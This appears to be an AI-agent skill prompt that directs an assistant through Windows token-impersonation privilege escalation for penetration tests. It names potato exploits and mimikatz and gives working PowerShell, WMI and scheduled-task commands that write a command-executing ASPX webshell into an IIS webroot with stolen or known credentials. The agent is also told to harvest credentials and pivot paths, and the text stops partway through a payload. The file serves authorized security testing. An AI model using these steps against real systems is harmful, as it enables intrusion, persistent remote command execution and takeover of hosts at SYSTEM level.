/windows-token-impersonation

name: windows-token-impersonation
description: >
  Exploit Windows token privileges for local privilege escalation to SYSTEM.
keywords:
  - potato exploit
  - juicypotato
  - printspoofer
  - godpotato
  - token impersonation
  - SeImpersonate
  - SeDebug
  - dangerous privileges
  - service account to system
tools:
  - JuicyPotato
  - PrintSpoofer
  - GodPotato
  - RoguePotato
  - EfsPotato
  - SigmaPotato
  - FullPowers
  - mimikatz
  - incognito
opsec: medium

Windows Token Impersonation & Dangerous Privileges

You are helping a penetration tester escalate privileges on a Windows system by exploiting token privileges. All testing is under explicit written authorization.

Engagement Logging

Check for `./engagement/` directory. If absent, proceed without logging.

When an engagement directory exists:

• Print `[windows-token-impersonation] Activated → <target>` to the screen on activation.
• **Evidence** → save significant output to `engagement/evidence/` with

descriptive filenames (e.g., `sqli-users-dump.txt`, `ssrf-aws-creds.json`).

State Management

Call `get_state_summary()` from the state MCP server to read current engagement state. Use it to:

• Skip re-testing targets, parameters, or vulns already confirmed
• Leverage existing credentials or access for this technique
• Understand what's been tried and failed (check Blocked section)

Your return summary must include:

• New targets/hosts discovered (with ports and services)
• New credentials or tokens found
• Access gained or changed (user, privilege level, method)
• Vulnerabilities confirmed (with status and severity)
• Pivot paths identified (what leads where)
• Blocked items (what failed and why, whether retryable)

Prerequisites

• Shell access on a Windows system
• At least one exploitable token privilege (check with `whoami /priv`)
• OR: known credentials for a user who can write to a service webroot (see Step 0)
• Ability to transfer tools to target (or use tools already present)
• Potato binaries pre-staged at `/usr/share/windows-binaries/potatoes/` on the

attackbox (GodPotato-NET4.exe, PrintSpoofer64.exe, JuicyPotatoNG.exe, SigmaPotato.exe). If missing, fall back to Metasploit `getsystem` (Step 3b).

Step 0: Obtain SeImpersonate Shell

**When to use:** You have a low-privilege shell and known credentials for another user, and discovery identified that a service account (IIS AppPool, MSSQL) or a writable webroot can give you SeImpersonate. The goal is to execute commands as that user — typically to deploy a webshell in a service webroot, then catch the service account's reverse shell.

**Skip this step** if you already have SeImpersonate or another exploitable privilege (proceed to Step 1).

Method 1: PowerShell Remoting to localhost (most common)

WinRM must be enabled (default on Server editions, common in lab environments). This runs commands as the target user on the same host.

$secpasswd = ConvertTo-SecureString 'PASSWORD' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential('DOMAIN\user', $secpasswd)

# Test connectivity first
Invoke-Command -ComputerName localhost -Credential $cred -ScriptBlock { whoami }

# Write a webshell to the service webroot
Invoke-Command -ComputerName localhost -Credential $cred -ScriptBlock {
    Set-Content -Path 'C:\inetpub\wwwroot\shell.aspx' -Value '<%@ Page Language="C#" %><%Response.Write(new System.Diagnostics.Process(){StartInfo=new System.Diagnostics.ProcessStartInfo("cmd","/c "+Request["c"]){RedirectStandardOutput=true,UseShellExecute=false}}.Start().StandardOutput.ReadToEnd());%>'
}

# Or execute arbitrary commands directly
Invoke-Command -ComputerName localhost -Credential $cred -ScriptBlock {
    cmd /c "whoami /priv"
}

**Troubleshooting:**

• "Access denied" → user may not be in Remote Management Users group; try Method 2
• "WinRM cannot process the request" → WinRM not enabled; try Method 2 or 3

Method 2: WMI process creation

Works when WinRM is disabled. Creates a process as the target user via WMI. Output is blind — use file writes to confirm execution.

$secpasswd = ConvertTo-SecureString 'PASSWORD' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential('DOMAIN\user', $secpasswd)

# Write webshell via WMI (blind — no output returned)
Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList 'cmd /c echo ^<%@ Page Language="C#" %^>^<%Response.Write(new System.Diagnostics.Process(){StartInfo=new System.Diagnostics.ProcessStartInfo("cmd","/c "+Request["c"]){RedirectStandardOutput=true,UseShellExecute=false}}.Start().StandardOutput.ReadToEnd());%^> > C:\inetpub\wwwroot\shell.aspx' -Credential $cred

**Note:** WMI process creation is blind — `ReturnValue = 0` means the process was created, not that the command succeeded. Verify by checking if the file exists afterward.

Method 3: Scheduled task (if user has batch logon rights)

Works without WinRM or WMI remote access. Uses Task Scheduler to run a command as the target user.

schtasks /create /tn "deploy" /tr "cmd /c echo PAYLOAD > C:\inetpub\wwwroot\shell.aspx" /sc once /st 00:00 /ru DOMAIN\user /rp PASSWORD
schtasks /run /tn "deploy"
timeout /t 3
schtasks /delete /tn "deploy" /f

**Troubleshooting:**

• "ERROR: The user name or password is incorrect" → verify creds with `net use`
• "Access denied" → current user lacks schtasks permission; try from attackbox

Method 4: From attackbox (when in-shell methods fail)

If all in-shell methods fail, return to the orchestrator requesting lateral movement routing (pass-the-hash, evil-winrm, wmiexec, atexec). Those tools authenticate over the network and are covered by their own skills with proper methodology. Note what in-shell methods were tried and why they failed.

ASPX webshell payloads

Minimal one-liner for IIS deployment — takes commands via `?c=` parameter:

<%@ Page Language="C#" %><%Response.Write(new System.Diagn